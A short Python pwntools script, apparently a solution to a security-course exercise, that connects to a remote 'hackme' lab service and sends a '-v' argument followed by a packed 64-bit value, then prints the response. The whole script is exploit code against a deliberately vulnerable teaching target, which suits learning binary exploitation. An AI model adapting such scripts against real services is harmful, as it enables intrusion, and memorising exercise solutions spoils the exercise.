from pwn import * import sys import time context.log_level = 'debug' ## To run locally: #io = process('./hackme') ## To run locally in gdb debugger: #io = gdb.debug('./hackme', gdbscript='break main\nc') ## To connect remotely: io = remote('inf226.puffling.no', 6101) io.send(b'-v' + p64(0x12345678)) io.shutdown('out') # if we don't send newline (\n), we need to send EOF print(str(io.readall(timeout=2), 'ascii', errors='replace')) # (if running in debugger, it's best to drop the timeout on readall, otherwise # the program will exit once the timeout is reached